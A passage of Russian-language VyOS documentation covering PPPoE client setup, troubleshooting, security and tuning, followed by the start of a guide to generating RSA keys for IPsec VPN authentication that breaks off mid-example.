# Plaintext password (не рекомендуется в production)
set interfaces pppoe pppoe0 authentication plaintext-password 'MyPassword'
```

**Типы аутентификации:**
- PAP (Password Authentication Protocol) - пароль в открытом виде
- CHAP (Challenge Handshake Authentication Protocol) - хеш пароля
- MS-CHAP, MS-CHAPv2 - Microsoft variants

VyOS автоматически согласует метод аутентификации с ISP.

#### IP Address Configuration

```bash
# Автоматическое получение IP от ISP (default)
set interfaces pppoe pppoe0

# Статический IP (если ISP предоставляет)
set interfaces pppoe pppoe0 address 203.0.113.10/32

# IPv6 через DHCPv6
set interfaces pppoe pppoe0 ipv6 address autoconf
set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface eth1 address 1
set interfaces pppoe pppoe0 dhcpv6-options pd 0 length 56
```

#### Default Route

```bash
# Автоматически добавить default route через PPPoE
set interfaces pppoe pppoe0 default-route auto

# Явно указать default route
set interfaces pppoe pppoe0 default-route force

# Не добавлять default route
set interfaces pppoe pppoe0 default-route none

# Default route с метрикой
set interfaces pppoe pppoe0 default-route-distance 10
```

**Опции:**
- `auto` - добавить route если PPPoE - единственное подключение
- `force` - всегда добавлять route
- `none` - не добавлять route

#### MTU и MRU

```bash
# MTU (Maximum Transmission Unit)
set interfaces pppoe pppoe0 mtu 1492

# MRU (Maximum Receive Unit)
set interfaces pppoe pppoe0 mru 1492
```

**Рекомендации MTU:**
- Ethernet MTU: 1500 bytes
- PPPoE overhead: 8 bytes (PPPoE header + PPP header)
- Рекомендуемый MTU: 1492 bytes
- Некоторые ISP требуют MTU 1480-1490

**Автоматический TCP MSS clamping:**

```bash
# Установить TCP MSS для предотвращения фрагментации
set interfaces pppoe pppoe0 ip adjust-mss 1452
set interfaces pppoe pppoe0 ipv6 adjust-mss 1432
```

#### Connect on Demand

```bash
# Устанавливать соединение по требованию (при трафике)
set interfaces pppoe pppoe0 connect-on-demand

# Idle timeout - разорвать соединение после N секунд простоя
set interfaces pppoe pppoe0 idle-timeout 300

# Holdoff time - пауза перед повторным подключением
set interfaces pppoe pppoe0 holdoff 30
```

**Use case:** Экономия трафика, платные соединения

#### Service Name

```bash
# Указать конкретный service name (если ISP требует)
set interfaces pppoe pppoe0 service-name 'MY-SERVICE'

# Использовать любой доступный service
# (default behavior - не указывать service-name)
```

#### Access Concentrator

```bash
# Подключаться к конкретному AC (если несколько доступно)
set interfaces pppoe pppoe0 access-concentrator 'BRAS-01'
```

#### Interface Description

```bash
# Добавить описание
set interfaces pppoe pppoe0 description 'ISP Connection - Main Link'
```

#### Host-uniq Tag

```bash
# Уникальный тег для сессии (hex)
set interfaces pppoe pppoe0 host-uniq '0x12345678'
```

**Назначение:** Идентификация сессии на стороне клиента

#### Local and Remote IP

```bash
# Локальный IP адрес (обычно получается автоматически)
set interfaces pppoe pppoe0 local-address 192.168.100.1

# IP адрес удаленной стороны (ISP gateway)
set interfaces pppoe pppoe0 remote-address 192.168.100.254
```

**Примечание:** Обычно не требуется - IP адреса согласуются автоматически

## Практические сценарии

### Сценарий 1: Базовое DSL подключение

**Топология:**
```
[LAN 192.168.1.0/24] ---- [VyOS eth1] [VyOS eth0] ---- [DSL Modem Bridge] ---- [ISP]
                                           PPPoE
```

**Задача:** Настроить интернет-подключение через DSL провайдера

**Конфигурация:**

```bash
configure

# WAN интерфейс (к DSL модему)
set interfaces ethernet eth0 description 'DSL Modem'

# PPPoE соединение
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'user@dsl-provider.ru'
set interfaces pppoe pppoe0 authentication password 'MySecretPass'
set interfaces pppoe pppoe0 default-route auto
set interfaces pppoe pppoe0 mtu 1492
set interfaces pppoe pppoe0 description 'ISP Connection'

# LAN интерфейс
set interfaces ethernet eth1 address 192.168.1.1/24
set interfaces ethernet eth1 description 'LAN'

# NAT для выхода в интернет
set nat source rule 100 outbound-interface name pppoe0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

# DHCP сервер для LAN
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option name-server 8.8.8.8
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option name-server 8.8.4.4

# DNS forwarding
set service dns forwarding listen-address 192.168.1.1
set service dns forwarding allow-from 192.168.1.0/24

commit
save
```

**Проверка:**

```bash
# Статус PPPoE интерфейса
show interfaces pppoe pppoe0

# Полученный IP адрес
show interfaces pppoe pppoe0 brief

# Default route
show ip route

# Тест connectivity
ping 8.8.8.8 interface pppoe0
```

### Сценарий 2: PPPoE через VLAN

**Топология:**
```
[VyOS] ---- eth0.100 (VLAN 100) ---- [Switch] ---- [ISP with VLAN tagging]
```

**Задача:** ISP требует VLAN 100 для PPPoE соединения

**Конфигурация:**

```bash
configure

# Создать VLAN интерфейс
set interfaces ethernet eth0 vif 100 description 'ISP VLAN'

# PPPoE через VLAN
set interfaces pppoe pppoe0 source-interface eth0.100
set interfaces pppoe pppoe0 authentication username 'customer@fiber-isp.ru'
set interfaces pppoe pppoe0 authentication password 'FiberPass123'
set interfaces pppoe pppoe0 default-route auto
set interfaces pppoe pppoe0 mtu 1492
set interfaces pppoe pppoe0 description 'Fiber ISP Connection'

# Service name если требуется
set interfaces pppoe pppoe0 service-name 'FIBER-100M'

commit
save
```

**Проверка VLAN:**

```bash
# Проверить VLAN интерфейс
show interfaces ethernet eth0 vif 100

# Проверить PPPoE
show interfaces pppoe pppoe0
```

### Сценарий 3: Dual PPPoE (два провайдера)

**Топология:**
```
                  ┌─ eth0 ── PPPoE0 ── [ISP-A Primary]
[VyOS Router] ────┤
                  └─ eth1 ── PPPoE1 ── [ISP-B Backup]
```

**Задача:** Резервирование через два DSL провайдера с failover

**Конфигурация:**

```bash
configure

# Основной ISP (eth0)
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'user@isp-a.ru'
set interfaces pppoe pppoe0 authentication password 'PasswordA'
set interfaces pppoe pppoe0 default-route-distance 10
set interfaces pppoe pppoe0 mtu 1492
set interfaces pppoe pppoe0 description 'ISP-A Primary'

# Резервный ISP (eth1)
set interfaces pppoe pppoe1 source-interface eth1
set interfaces pppoe pppoe1 authentication username 'user@isp-b.ru'
set interfaces pppoe pppoe1 authentication password 'PasswordB'
set interfaces pppoe pppoe1 default-route-distance 20
set interfaces pppoe pppoe1 mtu 1492
set interfaces pppoe pppoe1 description 'ISP-B Backup'

# NAT через оба интерфейса
set nat source rule 100 outbound-interface name pppoe0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

set nat source rule 110 outbound-interface name pppoe1
set nat source rule 110 source address 192.168.1.0/24
set nat source rule 110 translation address masquerade

commit
save
```

**Логика failover:**
- Primary route через pppoe0 (distance 10)
- Backup route через pppoe1 (distance 20)
- При падении pppoe0 автоматический переход на pppoe1

**Проверка:**

```bash
# Routing table - должно быть два default route
show ip route

# Тест failover
# 1. Disconnect pppoe0
disconnect interface pppoe0

# 2. Проверить активный route
show ip route 0.0.0.0/0

# 3. Reconnect
connect interface pppoe0
```

### Сценарий 4: PPPoE с IPv6 и DHCPv6-PD

**Задача:** Получить IPv6 prefix от ISP и раздать в LAN

**Конфигурация:**

```bash
configure

# PPPoE с IPv4 и IPv6
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'user@ipv6-isp.ru'
set interfaces pppoe pppoe0 authentication password 'IPv6Password'
set interfaces pppoe pppoe0 default-route auto
set interfaces pppoe pppoe0 mtu 1492

# IPv6 autoconfig
set interfaces pppoe pppoe0 ipv6 address autoconf

# DHCPv6 Prefix Delegation
set interfaces pppoe pppoe0 dhcpv6-options pd 0 length 56
set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface eth1 address 1
set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface eth1 sla-id 1

# LAN интерфейс с IPv6
set interfaces ethernet eth1 address 192.168.1.1/24

# IPv6 Router Advertisement для LAN
set service router-advert interface eth1 prefix ::/64

commit
save
```

**Объяснение DHCPv6-PD:**
- `pd 0` - prefix delegation ID
- `length 56` - запросить /56 prefix от ISP
- `interface eth1` - назначить subnet на eth1
- `address 1` - использовать ::1 как адрес роутера
- `sla-id 1` - subnet ID из делегированного prefix

**Проверка IPv6:**

```bash
# IPv6 адрес PPPoE
show ipv6 interface pppoe0

# Делегированный prefix
show dhcpv6 client leases

# IPv6 routing
show ipv6 route

# Ping IPv6
ping 2001:4860:4860::8888 interface pppoe0
```

### Сценарий 5: Connect on Demand с Idle Timeout

**Задача:** Платное PPPoE соединение, подключаться только при необходимости

**Конфигурация:**

```bash
configure

# PPPoE с on-demand режимом
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'user@metered-isp.ru'
set interfaces pppoe pppoe0 authentication password 'MeteredPassword'
set interfaces pppoe pppoe0 default-route auto
set interfaces pppoe pppoe0 mtu 1492

# Connect on demand
set interfaces pppoe pppoe0 connect-on-demand

# Idle timeout 5 минут
set interfaces pppoe pppoe0 idle-timeout 300

# Holdoff 30 секунд перед reconnect
set interfaces pppoe pppoe0 holdoff 30

commit
save
```

**Поведение:**
1. Соединение устанавливается при появлении трафика
2. После 300 секунд без трафика - disconnect
3. Пауза 30 секунд перед следующим connect
4. Повторный connect при новом трафике

**Тестирование:**

```bash
# Проверить статус (должен быть down если idle)
show interfaces pppoe pppoe0

# Инициировать трафик
ping 8.8.8.8

# Проверить соединение (должно установиться)
show interfaces pppoe pppoe0

# Ждать 5 минут без трафика - disconnect
```

### Сценарий 6: PPPoE в VK Cloud

**Задача:** Использовать VyOS в VK Cloud для тестирования PPPoE сервера

**Топология:**
```
[VK Cloud VyOS Client] ---- [Private Network] ---- [VyOS PPPoE Server]
```

**Client конфигурация:**

```bash
configure

# PPPoE client в облаке
set interfaces pppoe pppoe0 source-interface eth1
set interfaces pppoe pppoe0 authentication username 'testuser'
set interfaces pppoe pppoe0 authentication password 'TestPass123'
set interfaces pppoe pppoe0 default-route none
set interfaces pppoe pppoe0 mtu 1450
set interfaces pppoe pppoe0 description 'VK Cloud PPPoE Test'

commit
save
```

**Примечание для VK Cloud:**
- MTU в VK Cloud: 1500, использовать PPPoE MTU 1450
- PPPoE работает в private networks
- Для production используйте VPC peering вместо PPPoE

### Сценарий 7: Российские провайдеры DSL

**Конфигурация для типичного российского DSL провайдера:**

```bash
configure

# Ростелеком / МТС / Билайн DSL
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'login@provider'
set interfaces pppoe pppoe0 authentication password 'password'
set interfaces pppoe pppoe0 default-route auto
set interfaces pppoe pppoe0 mtu 1492

# Некоторые провайдеры требуют service-name
# set interfaces pppoe pppoe0 service-name 'Internet'

# LAN сеть
set interfaces ethernet eth1 address 192.168.0.1/24

# NAT
set nat source rule 100 outbound-interface name pppoe0
set nat source rule 100 source address 192.168.0.0/24
set nat source rule 100 translation address masquerade

# DNS от провайдера (автоматически через PPPoE)
set system name-server pppoe0

# DHCP для LAN
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 range 0 start 192.168.0.100
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 range 0 stop 192.168.0.200
set service dhcp-server shared-network-name LAN subnet 192.168.0.0/24 option default-router 192.168.0.1

commit
save
```

**Особенности российских провайдеров:**
- Часто используется MTU 1492
- Username формат: `login@provider` или `login`
- Некоторые требуют VLAN tagging
- IPTV может требовать отдельный VLAN

## Мониторинг и отладка

### Проверка статуса PPPoE

```bash
# Общая информация
show interfaces pppoe

# Детальная информация конкретного интерфейса
show interfaces pppoe pppoe0

# Brief вывод
show interfaces pppoe pppoe0 brief

# Статистика
show interfaces pppoe pppoe0 statistics
```

**Пример вывода:**

```
pppoe0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1492
    inet 203.0.113.45 peer 203.0.113.1/32
    RX: bytes    packets  errors  dropped  overrun       mcast
        10485760    8192       0        0        0           0
    TX: bytes    packets  errors  dropped carrier collisions
         5242880    4096       0        0       0           0
```

### Operational Commands

```bash
# Disconnect PPPoE соединение
disconnect interface pppoe0

# Connect PPPoE соединение
connect interface pppoe0

# Проверить log сообщения PPPoE
show log | match pppoe

# Проверить authentication log
show log auth | match pppoe
```

### Debugging PPPoE

```bash
# Включить debug для PPPoE
debug pppoe interface pppoe0

# Просмотр debug вывода
show log tail

# Выключить debug
no debug pppoe interface pppoe0
```

**Debug информация включает:**
- Discovery packets (PADI, PADO, PADR, PADS)
- LCP negotiation
- Authentication attempts
- IP address assignment
- Keepalive packets

### Packet Capture

```bash
# Захват PPPoE трафика на source интерфейсе
monitor traffic interface eth0 filter "pppoe"

# Захват трафика на PPPoE интерфейсе
monitor traffic interface pppoe0

# Сохранить capture в файл
monitor traffic interface eth0 filter "pppoe" save /tmp/pppoe-capture.pcap
```

**Анализ в Wireshark:**
- PPPoE Discovery packets (0x8863)
- PPPoE Session packets (0x8864)
- LCP/CHAP/PAP frames
- IP packets внутри PPPoE

### Проверка DNS

```bash
# DNS servers полученные от ISP
show interfaces pppoe pppoe0 | grep "name-server"

# Тест DNS resolution
nslookup google.com
```

### Мониторинг производительности

```bash
# Bandwidth monitoring
monitor bandwidth interface pppoe0

# Real-time traffic statistics
show interfaces pppoe pppoe0 statistics

# Connection uptime
show interfaces pppoe pppoe0 | grep "uptime"
```

## Troubleshooting

### Проблема: PPPoE не устанавливает соединение

**Симптомы:**
- Интерфейс в состоянии DOWN
- Нет IP адреса

**Диагностика:**

```bash
# 1. Проверить source interface
show interfaces ethernet eth0

# Должен быть UP
# Если DOWN - проверить физическое подключение

# 2. Проверить PPPoE logs
show log | match pppoe

# 3. Включить debug
debug pppoe interface pppoe0

# 4. Попытка connect
connect interface pppoe0

# 5. Проверить debug вывод
show log tail
```

**Типичные причины:**

1. **Source interface DOWN:**
```bash
# Проверить link
show interfaces ethernet eth0
# Решение: проверить кабель, DSL модем
```

2. **Неверные credentials:**
```bash
# В логах: "authentication failed"
# Решение: проверить username/password
set interfaces pppoe pppoe0 authentication username 'correct-user'
set interfaces pppoe pppoe0 authentication password 'correct-pass'
commit
```

3. **DSL модем не в bridge mode:**
```bash
# Модем сам устанавливает PPPoE
# Решение: перевести модем в bridge mode (router mode -> bridge mode)
```

4. **VLAN требуется:**
```bash
# ISP требует VLAN tagging
# Решение: использовать VLAN интерфейс
set interfaces ethernet eth0 vif 100
set interfaces pppoe pppoe0 source-interface eth0.100
commit
```

### Проблема: Соединение устанавливается, но нет интернета

**Диагностика:**

```bash
# 1. Проверить IP адрес
show interfaces pppoe pppoe0
# Должен быть публичный IP или carrier-grade NAT IP (100.64.0.0/10)

# 2. Проверить default route
show ip route 0.0.0.0/0
# Должен указывать на pppoe0

# 3. Ping gateway ISP
ping 203.0.113.1 interface pppoe0

# 4. Ping public IP
ping 8.8.8.8 interface pppoe0

# 5. Проверить DNS
nslookup google.com

# 6. Проверить NAT
show nat source statistics
```

**Решения:**

1. **Нет default route:**
```bash
set interfaces pppoe pppoe0 default-route force
commit
```

2. **DNS не работает:**
```bash
# Использовать DNS от ISP
set system name-server pppoe0

# Или public DNS
set system name-server 8.8.8.8
set system name-server 8.8.4.4
commit
```

3. **NAT не настроен:**
```bash
set nat source rule 100 outbound-interface name pppoe0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade
commit
```

### Проблема: Частые disconnects/reconnects

**Симптомы:**
- PPPoE постоянно переподключается
- В логах: "LCP terminated"

**Диагностика:**

```bash
# 1. Проверить uptime
show interfaces pppoe pppoe0 | grep uptime

# 2. Проверить logs
show log | match "pppoe0"

# 3. Статистика errors
show interfaces pppoe pppoe0 statistics
```

**Причины и решения:**

1. **Проблемы DSL line:**
```bash
# Плохое качество линии, интерференция
# Решение: проверить DSL модем статистику, SNR, attenuation
# Контакт провайдера для проверки линии
```

2. **MTU problems:**
```bash
# Packets dropping из-за MTU
# Решение: уменьшить MTU
set interfaces pppoe pppoe0 mtu 1480
set interfaces pppoe pppoe0 ip adjust-mss 1440
commit
```

3. **ISP keepalive timeout:**
```bash
# ISP разрывает соединение из-за отсутствия трафика
# Если idle-timeout включен - отключить
delete interfaces pppoe pppoe0 idle-timeout
delete interfaces pppoe pppoe0 connect-on-demand
commit
```

4. **Duplicate MAC addresses:**
```bash
# Проверить нет ли другого устройства с таким же MAC на source interface
show interfaces ethernet eth0
```

### Проблема: Низкая скорость

**Диагностика:**

```bash
# 1. Bandwidth test через iperf3
# На сервере (публичный IP)
iperf3 -s

# На VyOS
iperf3 -c server-ip -i 1 -t 30

# 2. Проверить MTU
ping 8.8.8.8 size 1472 do-not-fragment interface pppoe0

# 3. Проверить CPU usage
show system resources

# 4. Interface statistics
show interfaces pppoe pppoe0 statistics
```

**Решения:**

1. **MTU fragmentation:**
```bash
# Path MTU Discovery
# Уменьшить MTU
set interfaces pppoe pppoe0 mtu 1480
set interfaces pppoe pppoe0 mru 1480
set interfaces pppoe pppoe0 ip adjust-mss 1440
commit
```

2. **Hardware offloading:**
```bash
# Включить offloading на source interface
set interfaces ethernet eth0 offload gso
set interfaces ethernet eth0 offload gro
set interfaces ethernet eth0 offload tso
commit
```

3. **QoS shaping (если ISP throttling):**
```bash
# Traffic shaping по скорости тарифа
set traffic-policy shaper ISP-LIMIT bandwidth 100mbit
set traffic-policy shaper ISP-LIMIT default bandwidth 100%

set interfaces pppoe pppoe0 traffic-policy out ISP-LIMIT
commit
```

### Проблема: IPv6 не работает

**Диагностика:**

```bash
# 1. Проверить IPv6 address
show ipv6 interface pppoe0

# 2. Проверить DHCPv6-PD
show dhcpv6 client leases

# 3. IPv6 routing
show ipv6 route

# 4. Ping IPv6
ping 2001:4860:4860::8888 interface pppoe0
```

**Решения:**

```bash
# Включить IPv6 autoconfig
set interfaces pppoe pppoe0 ipv6 address autoconf

# Настроить DHCPv6-PD
set interfaces pppoe pppoe0 dhcpv6-options pd 0 length 56
set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface eth1 address 1

# Проверить ISP поддерживает IPv6
# Если нет - использовать tunnel broker (6in4, 6rd)
```

## Security Best Practices

### 1. Защита credentials

```bash
# Никогда не использовать plaintext-password в production
# Используйте password (автоматически хешируется)
set interfaces pppoe pppoe0 authentication password 'SecurePassword123!'

# Ограничить доступ к конфигурации
set system login user admin authentication plaintext-password 'AdminPassword'
set system login user admin level admin
```

### 2. Firewall на WAN

```bash
# Создать firewall для PPPoE интерфейса
set firewall name WAN-IN default-action drop
set firewall name WAN-IN rule 10 action accept
set firewall name WAN-IN rule 10 state established enable
set firewall name WAN-IN rule 10 state related enable

set firewall name WAN-IN rule 20 action drop
set firewall name WAN-IN rule 20 state invalid enable

# Применить к PPPoE
set interfaces pppoe pppoe0 firewall in name WAN-IN

commit
```

### 3. Ограничение входящих connections

```bash
# Разрешить только established/related
set firewall name WAN-IN default-action drop
set firewall name WAN-IN enable-default-log

set firewall name WAN-IN rule 10 action accept
set firewall name WAN-IN rule 10 state established enable
set firewall name WAN-IN rule 10 state related enable

set firewall name WAN-IN rule 999 action drop
set firewall name WAN-IN rule 999 log enable

commit
```

### 4. Rate limiting

```bash
# Защита от DDoS
set firewall name WAN-IN rule 5 action drop
set firewall name WAN-IN rule 5 protocol icmp
set firewall name WAN-IN rule 5 limit rate 10/second
set firewall name WAN-IN rule 5 limit burst 20

commit
```

### 5. Мониторинг подключений

```bash
# Логирование PPPoE events
set system syslog global facility all level info

# Отправка логов на syslog сервер
set system syslog host 192.168.1.100 facility all level warning

# Email alerts при disconnect
# (требует настройки mail relay)
```

## Performance Tuning

### 1. MTU Optimization

```bash
# Оптимальный MTU для PPPoE
set interfaces pppoe pppoe0 mtu 1492
set interfaces pppoe pppoe0 mru 1492

# TCP MSS clamping
set interfaces pppoe pppoe0 ip adjust-mss 1452
set interfaces pppoe pppoe0 ipv6 adjust-mss 1432

commit
```

### 2. Hardware Offloading

```bash
# Включить offloading на source interface
set interfaces ethernet eth0 offload gso
set interfaces ethernet eth0 offload gro
set interfaces ethernet eth0 offload sg
set interfaces ethernet eth0 offload tso

commit
```

### 3. Buffer Tuning

```bash
# Увеличить ring buffers (если NIC поддерживает)
# Проверить текущие значения
ethtool -g eth0

# Установить максимальные (через shell)
# ethtool -G eth0 rx 4096 tx 4096
```

### 4. QoS для VoIP/Gaming

```bash
# Priority queueing для низкой latency
set traffic-policy shaper GAMING class 10 match VoIP ip protocol udp
set traffic-policy shaper GAMING class 10 match VoIP ip source port 5060-5090
set traffic-policy shaper GAMING class 10 bandwidth 10%
set traffic-policy shaper GAMING class 10 priority 7

set traffic-policy shaper GAMING class 20 match Gaming ip dscp cs4
set traffic-policy shaper GAMING class 20 bandwidth 30%
set traffic-policy shaper GAMING class 20 priority 5

set traffic-policy shaper GAMING default bandwidth 60%
set traffic-policy shaper GAMING default priority 1

set interfaces pppoe pppoe0 traffic-policy out GAMING
commit
```

## Advanced Configuration

### Load Balancing через два PPPoE (Dual WAN)

```bash
configure

# PPPoE 1
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'user1@isp1.ru'
set interfaces pppoe pppoe0 authentication password 'Pass1'
set interfaces pppoe pppoe0 default-route none

# PPPoE 2
set interfaces pppoe pppoe1 source-interface eth1
set interfaces pppoe pppoe1 authentication username 'user2@isp2.ru'
set interfaces pppoe pppoe1 authentication password 'Pass2'
set interfaces pppoe pppoe1 default-route none

# Load balancing configuration
set load-balancing wan interface-health pppoe0 nexthop pppoe0
set load-balancing wan interface-health pppoe0 test 10 type ping
set load-balancing wan interface-health pppoe0 test 10 target 8.8.8.8

set load-balancing wan interface-health pppoe1 nexthop pppoe1
set load-balancing wan interface-health pppoe1 test 10 type ping
set load-balancing wan interface-health pppoe1 test 10 target 8.8.4.4

set load-balancing wan rule 1 inbound-interface eth2
set load-balancing wan rule 1 interface pppoe0 weight 1
set load-balancing wan rule 1 interface pppoe1 weight 1

commit
save
```

### PPPoE Server на VyOS

VyOS может работать как PPPoE сервер:

```bash
configure

# PPPoE server
set service pppoe-server interface eth1
set service pppoe-server authentication mode local
set service pppoe-server authentication local-users username client1 password 'ClientPass1'
set service pppoe-server client-ip-pool start 10.255.0.2
set service pppoe-server client-ip-pool stop 10.255.0.254
set service pppoe-server gateway-address 10.255.0.1
set service pppoe-server name-server 8.8.8.8
set service pppoe-server name-server 8.8.4.4

commit
save
```

**Use case:** Предоставление PPPoE доступа клиентам

## Сравнение PPPoE vs DHCP vs Static IP

| Характеристика | PPPoE | DHCP | Static IP |
|---------------|-------|------|-----------|
| **Authentication** | Да (username/password) | Нет | Нет |
| **IP Assignment** | Динамический | Динамический | Статический |
| **Session Management** | Да (connect/disconnect) | Нет | Нет |
| **MTU** | 1492 (overhead 8 bytes) | 1500 | 1500 |
| **Setup Complexity** | Средняя | Низкая | Низкая |
| **Типичное использование** | DSL, FTTH | Home broadband, Cable | Business, Dedicated |
| **Overhead** | 8 bytes PPPoE + 2 bytes PPP | 0 bytes | 0 bytes |
| **ISP Control** | Высокий | Средний | Низкий |

**Когда выбрать PPPoE:**
- ISP требует аутентификацию
- DSL/ADSL подключение
- Нужен session control
- Multiple users sharing physical link

**Когда выбрать DHCP:**
- Cable modem
- Simple home connection
- Нет требований аутентификации

**Когда выбрать Static IP:**
- Business connections
- Нужен постоянный IP
- Server hosting
- VPN endpoints

## Best Practices

### 1. Naming Convention

```bash
# Используйте понятные имена
set interfaces pppoe pppoe0 description 'ISP-Rostelecom-Primary'
set interfaces pppoe pppoe1 description 'ISP-MTS-Backup'
```

### 2. MTU Configuration

```bash
# Всегда настраивайте MTU и MSS
set interfaces pppoe pppoe0 mtu 1492
set interfaces pppoe pppoe0 ip adjust-mss 1452

# Тест оптимального MTU
ping 8.8.8.8 size 1472 do-not-fragment interface pppoe0
```

### 3. Monitoring и Alerting

```bash
# Syslog для tracking events
set system syslog global facility all level info
set system syslog host 192.168.1.100 facility all level warning

# SNMP monitoring
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24
```

### 4. Backup Configuration

```bash
# Регулярный backup конфигурации
show configuration commands | save /config/backup-$(date +%Y%m%d).conf

# Или automated backup
# Настроить в cron или external script
```

### 5. Security

```bash
# Firewall на WAN обязателен
set firewall name WAN-IN default-action drop
set firewall name WAN-IN rule 10 action accept
set firewall name WAN-IN rule 10 state established enable
set firewall name WAN-IN rule 10 state related enable

set interfaces pppoe pppoe0 firewall in name WAN-IN
```

### 6. Documentation

```bash
# Документируйте все в description
set interfaces pppoe pppoe0 description 'Main ISP - Contract #12345 - Support 8-800-XXX'
```

## Миграция с VyOS 1.4 на 1.5

PPPoE конфигурация совместима между версиями:

**VyOS 1.4:**
```bash
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 user-id 'username'
set interfaces pppoe pppoe0 password 'password'
```

**VyOS 1.5:**
```bash
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'username'
set interfaces pppoe pppoe0 authentication password 'password'
```

**Migration script:**
```bash
# Старая конфигурация (1.4) автоматически конвертируется
# Рекомендуется использовать новый синтаксис (authentication username/password)
```

## Заключение

PPPoE остается важным протоколом для подключения к интернет-провайдерам:

**Преимущества:**
- Встроенная аутентификация
- Session management
- Широкая поддержка провайдерами
- Поддержка IPv6 и DHCPv6-PD

**Применение:**
- DSL/ADSL подключения
- FTTH (Fiber to the Home)
- Кабельные модемы с PPPoE
- ISP connections с аутентификацией

**Лучшие практики:**
- Правильная настройка MTU (1492) и MSS clamping
- Firewall на WAN интерфейсе
- Monitoring и logging
- Резервирование через dual PPPoE
- Regular backup конфигурации

PPPoE в VyOS обеспечивает надежное и гибкое решение для подключения к интернет-провайдерам как для домашних пользователей, так и для бизнеса, с полным контролем над сетевой конфигурацией и безопасностью.

## Дополнительные ресурсы

- [VyOS PPPoE Documentation](https://docs.vyos.io/en/latest/configuration/interfaces/pppoe.html)
- [RFC 2516 - PPPoE Protocol](https://tools.ietf.org/html/rfc2516)
- [PPP Protocol - RFC 1661](https://tools.ietf.org/html/rfc1661)
- [CHAP Authentication - RFC 1994](https://tools.ietf.org/html/rfc1994)
- [DHCPv6 Prefix Delegation - RFC 8415](https://tools.ietf.org/html/rfc8415)


---

# RSA Keys - RSA ключи для аутентификации VPN

Source: https://opennix.org/docs/vyos/vpn/vyos-rsa-keys/


## Обзор RSA-аутентификации для VPN

RSA-аутентификация представляет собой криптографический метод проверки подлинности для IPsec VPN туннелей в VyOS. В отличие от Pre-Shared Key (PSK) аутентификации, RSA использует асимметричную криптографию с парой публичного и приватного ключей, что обеспечивает повышенную безопасность и гибкость при настройке VPN-соединений.

### Основные преимущества RSA-аутентификации

**Безопасность:**
- Приватный ключ никогда не передается по сети
- Исключается риск компрометации единого общего ключа (PSK)
- Невозможность подбора ключа методом перебора
- Поддержка криптостойких ключей длиной 2048-4096 бит

**Масштабируемость:**
- Упрощенное управление ключами в больших сетях
- Не требуется изменение конфигурации при добавлении новых узлов (Hub-and-Spoke)
- Централизованное управление публичными ключами
- Легкая ротация ключей без изменения всей инфраструктуры

**Гибкость:**
- Поддержка динамических IP-адресов (Dynamic IP)
- Возможность использования доменных имен для идентификации
- Совместимость с различными топологиями (Site-to-Site, Hub-and-Spoke, Full-Mesh)
- Интеграция с PKI инфраструктурой

### Принцип работы RSA-аутентификации

RSA-аутентификация в IPsec VPN основана на следующих принципах:

1. **Генерация ключевой пары:** Каждый VPN-узел генерирует уникальную пару ключей (публичный и приватный)
2. **Обмен публичными ключами:** Публичные ключи безопасно обмениваются между узлами
3. **IKE Phase 1:** При установлении туннеля происходит взаимная аутентификация с использованием RSA-подписей
4. **Проверка подлинности:** Каждая сторона проверяет подлинность удаленного узла с помощью его публичного ключа
5. **Установление туннеля:** После успешной аутентификации устанавливается защищенный IPsec туннель

### Архитектурные сценарии использования

**Site-to-Site VPN:**
- Соединение двух офисов или дата-центров
- Статические или динамические IP-адреса
- Взаимная аутентификация обоих концов туннеля

**Hub-and-Spoke VPN:**
- Центральный офис (Hub) с несколькими филиалами (Spokes)
- Hub имеет статический IP, Spokes могут иметь динамические IP
- Централизованное управление ключами на Hub

**Full-Mesh VPN:**
- Множественные узлы, каждый соединен с каждым
- Требуется обмен публичными ключами между всеми узлами
- Оптимальная маршрутизация трафика без транзитных узлов

## Генерация ключевой пары RSA

### Базовая генерация ключей

VyOS использует встроенную PKI (Public Key Infrastructure) подсистему для управления ключами. Генерация RSA ключевой пары выполняется командой:

```bash
generate pki key-pair install <key-pair-name>
```

**Параметры генерации:**

- `<key-pair-name>`  - уникальное имя ключевой пары для идентификации в конфигурации
- По умолчанию генерируется RSA ключ длиной 2048 бит
- Система предложит установить пароль для шифрования приватного ключа (опционально)

**Пример генерации ключа:**

```bash
vyos@router1:~$ generate pki key-pair install router1-key
Enter private key passphrase:
Retype private key passphrase:
Private key stored as 'router1-key'
```

### Генерация ключей с расширенными параметрами

**Выбор длины ключа:**

VyOS поддерживает различную длину RSA ключей. Для генерации ключа определенной длины используйте команду:

```bash
generate pki key-pair type rsa length <bit-length> install <key-pair-name>
```

**Рекомендуемые длины ключей:**

- **2048 бит:** Базовый уровень безопасности, быстрая обработка
- **3072 бита:** Повышенная безопасность для корпоративных сетей
- **4096 бит:** Максимальная безопасность для критичных систем

**Пример генерации ключа 4096 бит:**

```bash
vyos@router1:~$ generate pki key-pair type rsa length 4096 install router1-key-4096
Enter private key passphrase:
Retype private key passphrase:
